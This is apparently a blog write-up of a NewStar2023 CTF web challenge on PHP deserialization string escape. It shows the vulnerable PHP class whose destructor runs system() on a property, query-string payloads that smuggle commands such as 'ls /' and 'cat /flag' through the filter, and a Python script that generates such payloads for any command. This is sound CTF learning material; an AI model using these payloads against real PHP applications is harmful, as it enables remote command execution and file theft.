NewStar2023 week4 逃

文章摘要

Bpple-GPT

NewStar2023 week4 逃

** 反序列化字符串逃逸**


 <?php
 highlight_file(__FILE__);
 function waf($str){
     return str_replace("bad","good",$str);
 }
 
 class GetFlag {
     public $key;
     public $cmd = "whoami";
     public function __construct($key)
     {
         $this->key = $key;
     }
     public function __destruct()
     {
         system($this->cmd);
     }
 }
 
 unserialize(waf(serialize(new GetFlag($_GET['key'])))); www-data www-data

重点在于:

 function waf($str){
     return str_replace("bad","good",$str);
 }

每次替换字符串增加一

 $a = new GetFlag("123");
 echo serialize($a);
 //O:7:"GetFlag":2:{s:3:"key";s:3:"123";s:3:"cmd";s:6:"whoami";}

查一下flag在不在根目录---";s:3:"cmd";s:4:"ls /";}--->24个字符构造24个bad

 ?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}

image-20241103221851756

最后读取flag

 ?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}
 ?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}

image-20241103222440061


 def bad_gen(num):
     return "bad"*num
 
 def calc(str):
     num = 0 
     for i in str2:
         num+=1
     return num
 
 print("------start------")
 arg = input("你需要的参数")
 arg_len = len(arg)
 str2 = f'";s:3:"cmd";s:{arg_len}:"{arg}";'
 str3 = str2 + '}'
 print("原始值:",str3)
 num_need = calc(str3)
 res_bad = bad_gen(num_need)
 payload = res_bad + str3
 print("------最终结果-----")
 print(payload)

用键盘敲击出的不只是字符,更是一段段生活的剪影、一个个心底的梦想。希望我的文字能像一束光,在您阅读的瞬间,照亮某个角落,带来一丝温暖与共鸣。

BX33661

站长

不具版权性
不具时效性

文章内容不具时效性。若文章内容有错误之处,请您批评指正。


目录

欢迎来到Bpple的站点,为您导航全站动态

64 文章数
20 分类数
44 评论数
15标签数
最近评论
bpple

bpple


一切顺利

fetain

fetain


good luck

bx

bx


good luck

热门文章

Emoji收集

2024-11-01

542
Hello Halo

2024-10-30

524
本地部署LLM

2024-08-22

505
Uptime Kuma

2024-11-29

499
229

访问统计